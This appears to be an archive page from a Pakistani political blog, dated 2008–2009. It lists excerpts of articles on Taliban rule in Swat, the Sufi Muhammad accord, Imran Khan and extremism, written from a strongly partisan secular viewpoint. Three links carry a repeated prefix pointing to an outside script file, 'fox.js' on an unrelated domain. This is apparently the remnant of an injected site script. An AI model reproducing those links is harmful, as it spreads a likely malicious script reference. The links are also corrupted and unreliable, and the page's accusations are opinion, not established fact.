Sufi Muhammad’s judicial system in Swat: Is it really Islamic?: Daily Express, 22 March 2009 .. Ill-judged Saturday, March 21, 2009 We have never seen the detail of the agreement made between the government of NWFP and the TNSM, if indeed any such detail exists. For all the world

Liberals, Hardliners and Imran Khan: Illiberal liberals The Pakistan report card Saturday, March 21, 2009 Fasi Zaka Imran Khan’s recent address at the Rawalpindi District Bar Association demonstrates how far he has come as an orator. Had he chosen to participate in these elections,

Hard Talk: An interview with Sufi Muhammad, Leader of the TNSM in Swat, Pakistan: HARDtalk: “If Fazlullah does not appear in court when summoned, he will be acting against shariat” —Sufi Muhammad, Leader of the TNSM * Keeping weapons is allowed in Islam* The military violated the ceasefire* No objection to a cantonment

The task before Justice Chaudhry – by Zubeida Mustafa: WHAT prompted the government’s change of heart at the eleventh hour that led to the announcement about the reinstatement of Chief Justice Iftikhar Chaudhry? Whatever other factors may have been at play, we also know that America, Britain and

Swat – Dispatches: Pakistan’s Taliban Generation: A TV documentary worth watching. Dispatches: Pakistan’s Taliban Generation (Channel 4). By Sharmeen Obaid-Chinoyhttp://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.channel4.com/video/brandless-catchup.jsp?vodBrand=dispatches-pakistans-taliban-generation It was horrifying to say the least. It seems that brute force alone can’t eliminate these throat-slitting animals. It is an ideology and not restricted

Ahmadi couple found dead in Multan: LAHORE: Blindfolded bodies of an Ahmadi couple were found from their house in Multan with hands tied behind their backs. The two were doctors by profession and had been murdered on March 14, a press

ICG Report: ‘Radical Deobandi groups source of Pakistan terror’: “The international community, particularly the U.S., must … help strengthen civilian control over all areas of governance, including counter-terrorism, and the capacity of the federal government to

Mullah Mahmood Madani vs. Musharraf. Big applause for hypocrisy?: By: Jibran Haider The following is the video of an angry exchange between Musharraf and Maulana Mahmood Madani of Jamiat-e-ulema-e-Hind who is also member of Indian parliament. I’d like to know what people on the forum, especially Indians, have

Threat to secular Balochistan? How real is the issue of Talibanisation in Quetta?: Threat to secular Balochistan? By Malik Siraj AkbarMonday, 09 Mar, 2009 NOTHING embarrasses and irks Pakistani spymasters more than the issue of Talibanisation in Quetta. Over the years, Afghan President Hamid Karzai has repeatedly protested against the alleged protection

Fata’s 35 Hindus migrate to India: To our Hindu brothers and sisters, we have only this much to say. “We are sorry. This is not Jinnah’s Pakistan. This is Mullah Omar’s, Qazi Hussain Ahmed’s and General Hamid Gul’s Pakistan.“ …   More then 200,000 people

Imran Khan and the ‘liberals’: Addressing a lawyers’ gathering at the Rawalpindi Bar on Saturday, the leader of Tehreek-e Insaf, Mr Imran Khan, once again belaboured a certain section of society as “liberals”. They fly in the face of national emotion

Pakistan’s left tilts towards right: Partners in crime? Deconstructing Tariq Ali and Atitzaz Ahsan: Related articles: Aitzaz Ahsan, PPP and Long March: A critical perspective – by Abbas Ather You too Aitzaz Ahsan, the leader of the legal community? PPP suspends Ch Aitzaz as member CEC Are Pakistan’s secular ideologues abetting the right

Let’s sing Iqbal’s Tarana-e-Hind-o-Pak to fight religous extremism – by Aakar Patel: Mr Zardari, tear down this wall Sunday, March 08, 2009 Aakar Patel Allama Iqbal imagined Pakistan as a utopia in northwest India where Punjabis would do ijtihad and read Nietzsche. The Quaid-e-Azam ordered a Pakistan where religion would cease

Seema Mustafa: What the people of Pakistan think about the Taliban: What the people of Pakistan think about the Taliban Monday, March 02, 2009 Seema Mustafa The tide is turning for the people of Pakistan. And the fear and apprehension is palpable as soon as one crosses the Wagah border

Right wing alliance of PML-N, PTI and JI out in the open. Benazir Memorial desecrated in Rawalpindi…. Osama must be smiling.: Who killed Benazir Bhutto? Al Qaeda and their accomplices in the shape of Taliban and the ISI. Who funded Nawaz Sharif in 1980s and early 1990s: Osama bin Laden Who was the mentor and founding father of PML-N? General

SOS from Pakistan – Save Pakistani Shias Petition: Please consider signing this petition. SOS from Pakistan – Save Pakistani Shias Petition http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.petitiononline.com/ShiaSOS/petition.html We request all pro-human rights visitors to: Read and sign this petition; Circulate and publish the contents of the petition through all ethical and legal

Rauf Klasra: Wrong policies of appeasing the Mullah….: Huma Yusuf and Rauf Klasra write against supporting Mullahs

Liberal Fascism versus Religious Fascism: An interesting conversation: The common belief in Pakistan is that Islamic radicalism is a problem only in FATA, and that madrassas are the only institutions serving as jihad factories. This is a serious misconception. Extremism is breeding at a ferocious rate in

Rubina Saigol: Some myths vs facts about fundamentalism in Pakistan: Myths vs facts about fundamentalism Part I Saturday, February 21, 2009 by Rubina Saigol Religious fundamentalist movements of all shades and hues have gripped large parts of the world and have posed a threat to the prevalent political, economic

Ayaz Amir: Swat: doctrine of necessity (in its purest form): Swat: doctrine of necessity (in its purest form) Islamabad diary Friday, February 20, 2009 by Ayaz Amir Those armchair warriors — and there’s no shortage of them out here — who are wringing their hands over the Swat accord

The advancing enemy – the Taliban regime in Pakistan…: The advancing enemy — Dr Manzur Ejaz Rulers averse to an independent judiciary and an equitable socio-economic order; an economic upper class hostile to paying its fair share in taxes; self-obsessed intellectuals and media persons; and a poverty-stricken population

Sharia "Justice" comes to Swat again? Two divergent perspectives: Here are two divergent perspectives; the first one by Najam Sethi, a progressive, secular journalist, and the second one by Ansar Abbasi, a conservative, pro-Taliban journalist. Sharia “justice” comes to Swat again? Shara’i Nizam-e-Adl Regulation is about to be

In search of peace: From Middle East to South Asia – By Khurshid Nadeem: The need for intra-Islamic dialogue

Swat inferno and militant ideology – By Mushfiq Murshed: Swat inferno and militant ideology Wednesday, 11 Feb, 2009 By Mushfiq Murshed THE writ of the state in Swat has been demolished. When Operation Rah-i-Haq was launched by the Pakistan Army in 2007, the militants controlled only 25 per

The extremists – by Dr Muzaffar Iqbal: The extremists Quantum note Tuesday, February 03, 2009 Dr Muzaffar Iqbal The oxymoron “Muslim extremists” was obviously coined by those who have no idea of who a Muslim is. By definition, a Muslim is someone who follows the middle

An account of terrorism related deaths in Pakistan in 2008; Mullah Military Alliance; an evil legacy of General Zia:

Imran Khan demands the imposition of shariat in Pakistan: Daily Express, 21 January 2009 http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.express.com.pk/epaper/PoPupwindow.aspx?newsID=1100558393&Issue=NP_LHE&Date=20090121 …. Video confession Imran Khan owns up his statement in ‘Kal Tak’ a TV program hosted by Javed Chaudhry on 21 January

To Swat – with love [Why doesn’t Pakistan Army save the people of Swat from the Taliban?]: Tuesday, January 20, 2009 Basil Nabi Malik ‘The ultimate measure of a man is not where he stands in moments of comfort and convenience, but where he stands at times of challenge and controversy’– Martin Luther King, Jr. I

Swat — towards a Wahhabi state?: Monday, January 19, 2009 by Khurshid Khan In his article, “Behind the crises in Swat” (Nov 27, 2008), Sartaj Khan described the conflict in Swat as a class struggle. Farhat Taj (Dec 18) responded with “No class war in

Swat:Taliban’s deadly ‘justice’ cows Pakistan: Note: Pakistan Army and the ISI are criminally silent on the Taliban atrocities in Swat. Their real objective is to pressurize the secular minded ANP Government

Baloch protest against ‘Talibanisation’: The Balochistan National Party (BNP) Information Secretary and former senator Mr Sanaullah Baloch told Daily Times on Sunday that “supporters” of the Taliban had “captured land worth Rs2 billion in the eastern and western parts of Quetta” to “undermine

An interesting conversation between a Jinnah hater and a Jinnah lover: digitalmaster: I am not a historian so cannot comment on the personality of Jinnah. For all I know he was from a religion respected family. He firmly believed in a separate state for MUSLIMS … does that translate as

Do we need science or Islamic science? What do pro-liberal and pro-jihadi Pakistanis think?: Ghost of TK says: December 23rd, 2008 at 2:34 pm Beardo’s are cargo-culters. Look at Ajmal Kasab (who I did think at the time looked like a pacific islander) … this is a man who allegedly joined some group

A tribute to Pakistani soldiers fighting against terrorists of the Taliban, Al Qaeda, Sipah-e-Sahaba and all other internal and external enemies….: The Pakistani nation stands united with our great Pakistani soldiers fighting against terrorists of the Taliban, Al Qaeda, Sipah-e-Sahaba and all

Unchecked fanaticism in NWFP and the criminal silence of Pakistan’s religious parties: Unchecked fanaticism THAT, at least until the time of writing, there was no loss of life is perhaps the only redeeming feature of the Taliban’s attack on three schools in Peshawar on Monday. There were no casualties because there

Radical Islam’s war with India – By Anand K Verma: Anand K Verma headed the Research & Analysis Wing, (R&AW), India’s external intelligence agency from 1986-1989. He is an expert on the region, particularly Pakistan and Sri Lanka. The time has arrived for the unspoken to be spoken: Radical

Barbarians at the gate – by Ghazi Salahuddin: Sunday, December 21, 2008 There has been no dearth, for some time, of foreign experts and analysts who imply that Pakistan is becoming a failed state. That Nawaz Sharif should now have reasons to corroborate this assessment is surely

Pakistan: a nation in denial – by Khalid Hasan: A nation in denial —Khalid Hasan Foreign Minister Qureshi says the “charitable” activities of Jama’at-ud Dawa will not be banned. In other words, Pakistan will disregard Security Council sanctions. And Qureshi was supposed to be among the enlightened ones

In defence of a secular state: Thursday, December 18, 2008Dr Rubina Saigol The mere mention of the word ‘secular’ immediately creates anxiety in the minds of many and defensive reactions are induced from the self-proclaimed defenders of Pakistan’s ideology and foundational theories. The knee-jerk reaction

10 lessons all Pakistanis must learn – By Hassan Baig: “Mulk khud hi chalta rehay ga” (approximate translation: the country doesn’t need our contribution to thrive) is a sentence many Pakistanis are prone to saying. I confess that till a few years ago, I myself was confident of this